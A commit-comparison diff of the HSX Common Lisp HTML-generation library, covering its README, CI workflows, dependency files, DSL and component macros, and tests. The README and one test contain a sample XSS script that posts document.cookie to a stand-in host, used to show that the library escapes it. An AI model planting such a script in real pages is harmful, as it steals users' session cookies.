Compare commits

..

No commits in common. "master" and "0.2.0" have entirely different histories.

15 changed files with 292 additions and 397 deletions

View file

@ -1,70 +0,0 @@
name: 'CI'
on:
push:
branches:
- 'master'
pull_request:
jobs:
test:
runs-on: docker
strategy:
matrix:
lisp:
- sbcl-bin
steps:
- uses: actions/checkout@v4
- name: Restore cache
id: restore-cache
uses: actions/cache/restore@v4
with:
path: |
~/.roswell
/usr/local/bin/ros
/usr/local/etc/roswell/
qlfile
qlfile.lock
.qlot
~/.cache/common-lisp/
key: roswell-${{ runner.os }}-${{ matrix.lisp }}-${{ hashFiles('qlfile', 'qlfile.lock', '*.asd') }}
- name: Install Roswell
if: steps.restore-cache.outputs.cache-hit != 'true'
env:
LISP: ${{ matrix.lisp }}
run: |
curl -L https://raw.githubusercontent.com/roswell/roswell/master/scripts/install-for-ci.sh | sh
- name: Install Qlot
if: steps.restore-cache.outputs.cache-hit != 'true'
run: |
ros install fukamachi/qlot
- name: Install dependencies
if: steps.restore-cache.outputs.cache-hit != 'true'
run: |
PATH="~/.roswell/bin:$PATH"
qlot install
qlot exec ros install hsx
- name: Save cache
id: save-cache
uses: actions/cache/save@v4
if: steps.restore-cache.outputs.cache-hit != 'true'
with:
path: |
~/.roswell
/usr/local/bin/ros
/usr/local/etc/roswell/
qlfile
qlfile.lock
.qlot
~/.cache/common-lisp/
key: ${{ steps.restore-cache.outputs.cache-primary-key }}
- name: Run tests
run: .qlot/bin/rove hsx.asd

View file

@ -1,4 +1,4 @@
name: 'CI' name: 'test'
on: on:
push: push:
@ -7,15 +7,15 @@ on:
pull_request: pull_request:
jobs: jobs:
test: tests:
runs-on: ubuntu-latest runs-on: ubuntu-latest
strategy: strategy:
matrix: matrix:
lisp: lisp:
- sbcl-bin - sbcl-bin
- ccl-bin - ccl-bin
env: env:
LISP: ${{ matrix.lisp }} LISP: ${{ matrix.lisp }}

View file

@ -1,4 +1,4 @@
Copyright 2024 Akira Tempaku Copyright 2024 skyizwhite
Copyright 2018 Bo Yao Copyright 2018 Bo Yao
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

262
README.md
View file

@ -1,185 +1,143 @@
# HSX Hypertext S-expression # HSX
**HSX** is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax. HSX (Hypertext S-expression) is a simple yet powerful HTML5 generation library for Common Lisp. It was forked from [flute](https://github.com/ailisp/flute/).
[Practical usage example](https://github.com/skyizwhite/website) ## Introduction
> 🚧 **BETA NOTICE:** HSX allows you to generate HTML using S-expressions, providing a more Lisp-friendly way to create web content. By using the `hsx` macro, you can define HTML elements and their attributes in a concise and readable manner.
> This library is still in early development. APIs may change.
> See [release notes](https://github.com/skyizwhite/hsx/releases) for details.
## ⚙️ How HSX Works ## Getting Started
Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form: ### Basic Usage
```lisp Use the `hsx` macro to create HTML elements. Attributes are specified using a property list following the element name, and child elements are nested directly within.
(create-element type props children)
```
For example:
```lisp ```lisp
(hsx (hsx
(article :class "container" (div :id "example" :class "container"
(h1 "Title") (h1 "Welcome to HSX")
(p "Paragraph") (p "This is an example paragraph.")))
(~share-button :service :x))
```
Is internally transformed (by macro expansion) into:
```lisp
(create-element :article
(list :class "container")
(list (create-element :h1
(list)
(list "Title"))
(create-element :p
(list)
(list "Paragraph"))
(create-element #'~share-button
(list :service :x)
(list))))
``` ```
## 🚀 Quick Example This generates:
```html
<div id="example" class="container">
<h1>Welcome to HSX</h1>
<p>This is an example paragraph.</p>
</div>
```
## Examples
### Dynamic Content
HSX allows embedding Common Lisp code directly within your HTML structure, making it easy to generate dynamic content.
```lisp ```lisp
(hsx (hsx
(div :id "main" :class "container" (div
(h1 "Hello, HSX!") (p :id (format nil "id-~a" (random 100)))
(p "This is a simple paragraph."))) (ul
(loop :for i :from 1 :to 5 :collect (li (format nil "Item ~a" i))))
(if (> (random 10) 5)
(p "Condition met!")
(p "Condition not met!"))))
```
This might generate:
```html
<div>
<p id="id-42"></p>
<ul>
<li>Item 1</li>
<li>Item 2</li>
<li>Item 3</li>
<li>Item 4</li>
<li>Item 5</li>
</ul>
<p>Condition not met!</p>
</div>
```
### Using Fragments
To group multiple elements without adding an extra wrapper, use the fragment `<>`.
```lisp
(hsx
(<>
(h1 "Grouped Elements")
(p "First paragraph.")
(p "Second paragraph.")))
```
This generates:
```html
<h1>Grouped Elements</h1>
<p>First paragraph.</p>
<p>Second paragraph.</p>
```
## Creating Components
You can define reusable components with the `defcomp` macro. Components are functions that can take keyword arguments and properties.
```lisp
(defcomp card (&key title children)
(hsx
(div :class "card"
(h1 title)
children)))
```
Or using a property list:
```lisp
(defcomp card (&rest props)
(hsx
(div :class "card"
(h1 (getf props :title))
(getf props :children))))
```
Usage example:
```lisp
(hsx
(card :title "Card Title"
(p "This is a card component.")))
``` ```
Generates: Generates:
```html ```html
<div id="main" class="container"> <div class="card">
<h1>Hello, HSX!</h1> <h1>Card Title</h1>
<p>This is a simple paragraph.</p> <p>This is a card component.</p>
</div> </div>
``` ```
## 📝 Rendering ## Rendering HTML
Use `render-to-string` to convert an HSX structure to a string of HTML: To render HSX to an HTML string, use the `render-to-string` function.
```lisp ```lisp
(render-to-string (render-to-string
(hsx ...))
```
## 🔐 Escaping text
All elements automatically escape special characters in content to prevent XSS and HTML injection:
```lisp
(hsx
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))
```
Outputs:
```html
<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>
```
Use the special tag `raw!` to inject trusted, unescaped HTML:
```lisp
(hsx
(article (raw! "HTML text here ..."))
```
## 🧩 Fragments
Use `<>` tag to group multiple sibling elements without wrapping them in a container tag:
```lisp
(hsx
(<>
(p "One")
(p "Two")))
```
Outputs:
```html
<p>One</p>
<p>Two</p>
```
Note: `raw!` tag is a fragment that disables HTML escaping for its children.
## 🧱 Components
Define reusable components using `defcomp` macro. Component names must start with `~`.
*Keyword-style*
```lisp
(defcomp ~card (&key title children)
(hsx (hsx
(div :class "card" (div :class "content"
(h2 title) (h1 "Rendered to String")
children))) (p "This HTML is generated as a string."))))
``` ```
*Property-list style* ## License
```lisp This project is licensed under the MIT License.
(defcomp ~card (&rest props)
(hsx
(div :class "card"
(h2 (getf props :title))
(getf props :children))))
```
### Usage © 2024 skyizwhite
```lisp © 2018 Bo Yao
(hsx
(~card :title "Hello"
(p "This is a card.")))
```
Outputs: Feel free to contribute to the project and report any issues or feature requests on the [GitHub repository](https://github.com/skyizwhite/hsx).
```html
<div class="card">
<h2>Hello</h2>
<p>This is a card.</p>
</div>
```
## 🧬 Logic and Interpolation
You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
```lisp
(hsx
(div
(if (> (random 10) 5)
(hsx (p "High!"))
(hsx (p "Low!")))))
```
Or loop:
```lisp
(hsx
(ul
(loop :for item :in todo-list :collect
(hsx (li item))))))
```
## Utils
- `(clsx &rest strs)`: A utility function for constructing class strings conditionally. It removes `nil` from the string list, then joins the remaining strings with spaces.
## 📄 License
MIT License
© 2024 Akira Tempaku
© 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project)

View file

@ -1,8 +1,8 @@
(defsystem "hsx" (defsystem "hsx"
:version "0.6.0" :version "0.1.0"
:description "Simple and powerful HTML generation library." :description "Hypertext S-expression"
:author "Akira Tempaku, Bo Yao" :author "skyizwhite, Bo Yao"
:maintainer "Akira Tempaku <paku@skyizwhite.dev>" :maintainer "skyizwhite <paku@skyizwhite.dev>"
:license "MIT" :license "MIT"
:long-description #.(uiop:read-file-string :long-description #.(uiop:read-file-string
(uiop:subpathname *load-pathname* "README.md")) (uiop:subpathname *load-pathname* "README.md"))

8
qlfile
View file

@ -1,6 +1,4 @@
ql alexandria ql alexandria
ql cl-str ql mstrings
github rove fukamachi/rove
git rove https://github.com/fukamachi/rove github dissect Shinmera/dissect ; workaround
git dissect https://github.com/Shinmera/dissect ; workaround
git mstrings https://git.sr.ht/~shunter/mstrings

View file

@ -1,24 +1,20 @@
("quicklisp" . ("quicklisp" .
(:class qlot/source/dist:source-dist (:class qlot/source/dist:source-dist
:initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest) :initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest)
:version "2024-10-12")) :version "2023-10-21"))
("alexandria" . ("alexandria" .
(:class qlot/source/ql:source-ql (:class qlot/source/ql:source-ql
:initargs (:%version :latest) :initargs (:%version :latest)
:version "ql-2024-10-12")) :version "ql-2023-10-21"))
("cl-str" . ("mstrings" .
(:class qlot/source/ql:source-ql (:class qlot/source/ql:source-ql
:initargs (:%version :latest) :initargs (:%version :latest)
:version "ql-2024-10-12")) :version "ql-2023-10-21"))
("rove" . ("rove" .
(:class qlot/source/git:source-git (:class qlot/source/github:source-github
:initargs (:remote-url "https://github.com/fukamachi/rove") :initargs (:repos "fukamachi/rove" :ref nil :branch nil :tag nil)
:version "git-cacea7331c10fe9d8398d104b2dfd579bf7ea353")) :version "github-cacea7331c10fe9d8398d104b2dfd579bf7ea353"))
("dissect" . ("dissect" .
(:class qlot/source/git:source-git (:class qlot/source/github:source-github
:initargs (:remote-url "https://github.com/Shinmera/dissect") :initargs (:repos "Shinmera/dissect" :ref nil :branch nil :tag nil)
:version "git-a70cabcd748cf7c041196efd711e2dcca2bbbb2c")) :version "github-a70cabcd748cf7c041196efd711e2dcca2bbbb2c"))
("mstrings" .
(:class qlot/source/git:source-git
:initargs (:remote-url "https://git.sr.ht/~shunter/mstrings")
:version "git-7a94c070141c7cd03bbd3648b17724c3bf143393"))

View file

@ -20,5 +20,4 @@
noscript object ol optgroup option output p param picture pre progress noscript object ol optgroup option output p param picture pre progress
q rp rt ruby s samp script section select small source span strong q rp rt ruby s samp script section select small source span strong
style sub summary sup svg table tbody td template textarea tfoot th style sub summary sup svg table tbody td template textarea tfoot th
thead |time| title tr track u ul var video wbr thead |time| title tr track u ul var video wbr <>)
<> raw!)

View file

@ -10,43 +10,28 @@
#:defcomp)) #:defcomp))
(in-package #:hsx/dsl) (in-package #:hsx/dsl)
;;; hsx macro ;;;; hsx macro
(defmacro hsx (form) (defmacro hsx (form)
"Detect HSX elements and automatically import them." "Detect built-in HSX elements and automatically import them."
(detect-elements form)) (find-builtin-symbols form))
(defun detect-builtin-element (sym) (defun find-builtin-symbols (node)
(multiple-value-bind (builtin-sym kind) (if (atom node)
(find-symbol (string sym) :hsx/builtin) (or (and (symbolp node)
(and (eq kind :external) builtin-sym))) (not (keywordp node))
(find-symbol (string node) :hsx/builtin))
node)
(cons (find-builtin-symbols (car node))
(mapcar (lambda (n)
(if (listp n)
(find-builtin-symbols n)
n))
(cdr node)))))
(defun start-with-tilde-p (sym) ;;;; defhsx macro
(string= "~" (subseq (string sym) 0 1)))
(defun detect-component (sym)
(and (start-with-tilde-p sym) sym))
(defun detect-elements (form)
(let* ((head (first form))
(tail (rest form))
(detected-sym (and (symbolp head)
(not (keywordp head))
(or (detect-builtin-element head)
(detect-component head)))))
(if (and (listp tail) detected-sym)
(cons detected-sym
(mapcar (lambda (sub-form)
(if (consp sub-form)
(detect-elements sub-form)
sub-form))
tail))
form)))
;;; defhsx macro
(defmacro defhsx (name element-type) (defmacro defhsx (name element-type)
; Use a macro instead of a function to enable semantic indentation similar to HTML.
`(defmacro ,name (&body body) `(defmacro ,name (&body body)
`(%create-element ,',element-type ,@body))) `(%create-element ,',element-type ,@body)))
@ -73,19 +58,16 @@
`(eval-when (:compile-toplevel :load-toplevel :execute) `(eval-when (:compile-toplevel :load-toplevel :execute)
(defhsx ,name ,(make-keyword name)))) (defhsx ,name ,(make-keyword name))))
(defmacro defcomp (~name props &body body) (defmacro defcomp (name props &body body)
"Define an HSX function component. "Define a function component for use in HSX.
The component name must start with a tilde (~). The props must be declared with either &key or &rest (or both).
Component properties must be declared using &key, &rest, or both. The body must return an HSX element."
The body of the component must produce a valid HSX element."
(unless (start-with-tilde-p ~name)
(error "The component name must start with a tilde (~~)."))
(unless (or (null props) (unless (or (null props)
(member '&key props) (member '&key props)
(member '&rest props)) (member '&rest props))
(error "Component properties must be declared using &key, &rest, or both.")) (error "Component properties must be declared with either &key, &rest, or both."))
(let ((%name (symbolicate '% ~name))) (let ((%name (symbolicate '% name)))
`(eval-when (:compile-toplevel :load-toplevel :execute) `(eval-when (:compile-toplevel :load-toplevel :execute)
(defun ,%name ,props (defun ,%name ,props
,@body) ,@body)
(defhsx ,~name (fdefinition ',%name))))) (defhsx ,name (fdefinition ',%name)))))

View file

@ -1,16 +1,16 @@
(defpackage #:hsx/element (defpackage #:hsx/element
(:use #:cl) (:use #:cl)
(:import-from #:str
#:collapse-whitespaces)
(:import-from #:hsx/utils (:import-from #:hsx/utils
#:defgroup
#:escape-html-attribute
#:escape-html-text-content #:escape-html-text-content
#:escape-html-attribute) #:minify)
(:export #:element (:export #:element
#:tag #:tag
#:html-tag #:html-tag
#:self-closing-tag #:self-closing-tag
#:non-escaping-tag
#:fragment #:fragment
#:raw-fragment
#:component #:component
#:create-element #:create-element
#:element-type #:element-type
@ -22,10 +22,12 @@
;;; tag group definitions ;;; tag group definitions
(deftype self-closing-tag-sym () (defgroup self-closing-tag
'(member area base br col embed hr img input
:area :base :br :col :embed :hr :img :input link meta param source track wbr)
:link :meta :param :source :track :wbr))
(defgroup non-escaping-tag
script style)
;;;; class definitions ;;;; class definitions
@ -46,9 +48,9 @@
(defclass self-closing-tag (tag) ()) (defclass self-closing-tag (tag) ())
(defclass fragment (tag) ()) (defclass non-escaping-tag (tag) ())
(defclass raw-fragment (fragment) ()) (defclass fragment (tag) ())
(defclass component (element) ()) (defclass component (element) ())
@ -58,9 +60,9 @@
(make-instance (make-instance
(cond ((functionp type) 'component) (cond ((functionp type) 'component)
((eq type :<>) 'fragment) ((eq type :<>) 'fragment)
((eq type :raw!) 'raw-fragment)
((eq type :html) 'html-tag) ((eq type :html) 'html-tag)
((typep type 'self-closing-tag-sym) 'self-closing-tag) ((self-closing-tag-p type) 'self-closing-tag)
((non-escaping-tag-p type) 'non-escaping-tag)
((keywordp type) 'tag) ((keywordp type) 'tag)
(t (error "element-type must be a keyword or a function."))) (t (error "element-type must be a keyword or a function.")))
:type type :type type
@ -92,7 +94,7 @@
(if children (if children
(format stream (format stream
(if (or (rest children) (if (or (rest children)
(typep (first children) '(and element (not fragment)))) (typep (first children) 'element))
"~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>" "~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>"
"~@<<~a~a>~2I~:_~<~a~^~:@_~:>~0I~_</~a>~:>") "~@<<~a~a>~2I~:_~<~a~^~:@_~:>~0I~_</~a>~:>")
type type
@ -124,7 +126,7 @@
(string-downcase (element-type element))) (string-downcase (element-type element)))
(defmethod render-props ((element tag)) (defmethod render-props ((element tag))
(collapse-whitespaces (minify
(with-output-to-string (stream) (with-output-to-string (stream)
(loop (loop
:for (key value) :on (element-props element) :by #'cddr :for (key value) :on (element-props element) :by #'cddr
@ -145,7 +147,7 @@
child)) child))
(element-children element))) (element-children element)))
(defmethod render-children ((element raw-fragment)) (defmethod render-children ((element non-escaping-tag))
(element-children element)) (element-children element))
(defmethod expand-component ((element component)) (defmethod expand-component ((element component))

View file

@ -2,11 +2,9 @@
(:nicknames #:hsx/main) (:nicknames #:hsx/main)
(:use #:cl (:use #:cl
#:hsx/element #:hsx/element
#:hsx/dsl #:hsx/dsl)
#:hsx/utils)
(:import-from #:hsx/builtin) (:import-from #:hsx/builtin)
(:export #:hsx (:export #:hsx
#:defcomp #:defcomp
#:render-to-string #:render-to-string))
#:clsx))
(in-package :hsx) (in-package :hsx)

View file

@ -6,7 +6,8 @@
#:symbolicate) #:symbolicate)
(:export #:escape-html-attribute (:export #:escape-html-attribute
#:escape-html-text-content #:escape-html-text-content
#:clsx)) #:minify
#:defgroup))
(in-package #:hsx/utils) (in-package #:hsx/utils)
(defparameter *text-content-escape-map* (defparameter *text-content-escape-map*
@ -28,19 +29,48 @@
(or (gethash char escape-map) (or (gethash char escape-map)
char)) char))
(defun escape-string (str escape-map) (defun escape-string (string escape-map)
(if (stringp str) (if (stringp string)
(with-output-to-string (out) (with-output-to-string (s)
(loop (loop
:for c :across str :for c :across string
:do (write (escape-char c escape-map) :stream out :escape nil))) :do (write (escape-char c escape-map) :stream s :escape nil)))
str)) string))
(defun escape-html-text-content (str) (defun escape-html-text-content (text)
(escape-string str *text-content-escape-map*)) (escape-string text *text-content-escape-map*))
(defun escape-html-attribute (str) (defun escape-html-attribute (text)
(escape-string str *attribute-escape-map*)) (escape-string text *attribute-escape-map*))
(defun clsx (&rest strs) (defun minify (input-string)
(format nil "~{~a~^ ~}" (remove nil strs))) (with-output-to-string (out)
(let ((previous-space-p nil))
(loop
:for char :across input-string
:do (cond
((whitespace-p char)
(unless previous-space-p
(write-char #\Space out))
(setf previous-space-p t))
(t
(write-char char out)
(setf previous-space-p nil)))))))
(defun whitespace-p (char)
(member char '(#\Space #\Newline #\Tab #\Return) :test #'char=))
(defun make-keyword-hash-table (symbols)
(let ((ht (make-hash-table)))
(mapcar (lambda (sym)
(setf (gethash (make-keyword sym) ht) t))
symbols)
ht))
(defmacro defgroup (name &body symbols)
(let ((param-name (symbolicate '* name '*))
(pred-name (symbolicate name '-p)))
`(progn
(defparameter ,param-name (make-keyword-hash-table ',symbols))
(defun ,pred-name (keyword)
(gethash keyword ,param-name)))))

View file

@ -1,79 +1,67 @@
(defpackage #:hsx-test/dsl (defpackage #:hsx-test/dsl
(:use #:cl (:use #:cl
#:rove #:rove
#:hsx/dsl) #:hsx/dsl
(:import-from #:hsx/builtin) #:hsx/builtin)
(:import-from #:hsx/element (:import-from #:hsx/element
#:element-props #:element-props
#:element-children)) #:element-children))
(in-package #:hsx-test/dsl) (in-package #:hsx-test/dsl)
(defcomp ~comp1 (&key children)
(hsx (div children)))
(deftest detect-elements-test
(testing "detect-tags"
(ok (expands '(hsx (div div div))
'(hsx/builtin:div div div)))
(ok (expands '(hsx (div (div div (div))))
'(hsx/builtin:div
(hsx/builtin:div
div
(hsx/builtin:div))))))
(testing "detect-components"
(ok (expands '(hsx (~comp1 (div)))
'(~comp1 (hsx/builtin:div)))))
(testing "ignore-malformed-form"
(ok (expands '(hsx (div . div))
'(div . div)))
(ok (expands '(hsx ((div)))
'((div)))))
(testing "ignore-cl-form"
(ok (expands '(hsx (labels ((div () "div"))
(div)))
'(labels ((div () "div"))
(div))))))
(deftest dsl-test (deftest dsl-test
(testing "find-symbols"
(ok (expands
'(hsx (div '(:div "div")
div
(div
'div
(div)
:div)
"div"))
'(hsx/builtin:div '(:div "div")
div
(hsx/builtin:div
'div
(hsx/builtin:div)
:div)
"div"))))
(testing "empty-hsx" (testing "empty-hsx"
(let ((elm (hsx (div)))) (let ((elm (div)))
(ok (null (element-props elm))) (ok (null (element-props elm)))
(ok (null (element-children elm))))) (ok (null (element-children elm)))))
(testing "hsx-with-static-props" (testing "hsx-with-static-props"
(let ((elm (hsx (div :prop1 "value1" :prop2 "value2")))) (let ((elm (div :prop1 "value1" :prop2 "value2")))
(ok (equal '(:prop1 "value1" :prop2 "value2") (ok (equal '(:prop1 "value1" :prop2 "value2")
(element-props elm))) (element-props elm)))
(ok (null (element-children elm))))) (ok (null (element-children elm)))))
(testing "hsx-with-dynamic-props" (testing "hsx-with-dynamic-props"
(let* ((props '(:prop1 "value1" :prop2 "value2")) (let* ((props '(:prop1 "value1" :prop2 "value2"))
(elm (hsx (div props)))) (elm (div props)))
(ok (equal props (element-props elm))) (ok (equal props (element-props elm)))
(ok (null (element-children elm))))) (ok (null (element-children elm)))))
(testing "hsx-with-children" (testing "hsx-with-children"
(let ((elm (hsx (div (let ((elm (div
"child1" "child1"
"child2")))) "child2")))
(ok (null (element-props elm))) (ok (null (element-props elm)))
(ok (equal (list "child1" "child2") (element-children elm))))) (ok (equal (list "child1" "child2") (element-children elm)))))
(testing "hsx-with-static-props-and-children" (testing "hsx-with-static-props-and-children"
(let ((elm (hsx (div :prop1 "value1" :prop2 "value2" (let ((elm (div :prop1 "value1" :prop2 "value2"
"child1" "child1"
"child2")))) "child2")))
(ok (equal '(:prop1 "value1" :prop2 "value2") (ok (equal '(:prop1 "value1" :prop2 "value2")
(element-props elm))) (element-props elm)))
(ok (equal (list "child1" "child2") (element-children elm))))) (ok (equal (list "child1" "child2") (element-children elm)))))
(testing "hsx-with-dynamic-props-and-children" (testing "hsx-with-dynamic-props-and-children"
(let* ((props '(:prop1 "value1" :prop2 "value2")) (let* ((props '(:prop1 "value1" :prop2 "value2"))
(elm (hsx (div props (elm (div props
"child1" "child1"
"child2")))) "child2")))
(ok (equal props (element-props elm))) (ok (equal props (element-props elm)))
(ok (equal (list "child1" "child2") (element-children elm)))))) (ok (equal (list "child1" "child2") (element-children elm))))))

View file

@ -15,6 +15,7 @@
(ok (typep (create-element :div nil nil) 'tag)) (ok (typep (create-element :div nil nil) 'tag))
(ok (typep (create-element :html nil nil) 'html-tag)) (ok (typep (create-element :html nil nil) 'html-tag))
(ok (typep (create-element :img nil nil) 'self-closing-tag)) (ok (typep (create-element :img nil nil) 'self-closing-tag))
(ok (typep (create-element :style nil nil) 'non-escaping-tag))
(ok (typep (create-element :<> nil nil) 'fragment)) (ok (typep (create-element :<> nil nil) 'fragment))
(ok (typep (create-element (lambda ()) nil nil) 'component)) (ok (typep (create-element (lambda ()) nil nil) 'component))
(ok (signals (create-element "div" nil nil)))) (ok (signals (create-element "div" nil nil))))
@ -88,13 +89,27 @@
nil nil
"bar"))) "bar")))
:pretty t)))) :pretty t))))
(testing "self-closing-tag" (testing "self-closing-tag"
(ok (string= "<img src=\"/background.png\">" (ok (string= "<img src=\"/background.png\">"
(render-to-string (create-element :img (render-to-string (create-element :img
(list :src "/background.png") (list :src "/background.png")
nil) nil)
:pretty t)))) :pretty t))))
(testing "escaping-tag"
(ok (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
(render-to-string
(create-element :div
nil
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
(testing "non-escaping-tag"
(ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
(render-to-string
(create-element :script
nil
"alert('<< Do not embed user-generated contents here! >>')")))))
(testing "fragment" (testing "fragment"
(let ((frg (create-element :<> (let ((frg (create-element :<>
nil nil
@ -122,33 +137,7 @@
(create-element :li (create-element :li
nil nil
(list "brah")))) (list "brah"))))
:pretty t))))) :pretty t))))))
(testing "raw-fragment"
(ok (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
(render-to-string
(create-element :div
nil
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))
(ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
(render-to-string
(create-element :script
nil
(create-element :raw!
nil
"alert('<< Do not embed user-generated contents here! >>')"))))))
(testing "minify-props-text"
(let ((elm (create-element :div
'(:x-data "{
open: false,
get isOpen() { return this.open },
toggle() { this.open = ! this.open },
}")
nil)))
(ok (string= (render-to-string elm)
"<div x-data=\"{ open: false, get isOpen() { return this.open }, toggle() { this.open = ! this.open }, }\"></div>")))))
(defun comp1 (&key prop children) (defun comp1 (&key prop children)
(create-element :div (create-element :div

View file

@ -11,4 +11,29 @@
(testing "escape-html-text-content" (testing "escape-html-text-content"
(ok (string= "&amp;&lt;&gt;&quot;&#x27;&#x2F;&grave;&#x3D;" (ok (string= "&amp;&lt;&gt;&quot;&#x27;&#x2F;&grave;&#x3D;"
(escape-html-text-content "&<>\"'/`="))))) (escape-html-text-content "&<>\"'/`="))))
(testing "minify"
;; Test with Alpine.js
(ok (string= (minify "{
open: false,
get isOpen() { return this.open },
toggle() { this.open = ! this.open },
}")
"{ open: false, get isOpen() { return this.open }, toggle() { this.open = ! this.open }, }"))))
(defgroup fruit
apple banana)
(deftest group-util-test
(testing "defgroup"
(ok (expands '(defgroup fruit apple banana)
'(progn
(defparameter *fruit*
(hsx/utils::make-keyword-hash-table '(apple banana)))
(defun fruit-p (keyword)
(gethash keyword *fruit*)))))
(ok (hash-table-p *fruit*))
(ok (fboundp 'fruit-p))
(ok (fruit-p :apple))
(ng (fruit-p :tomato))))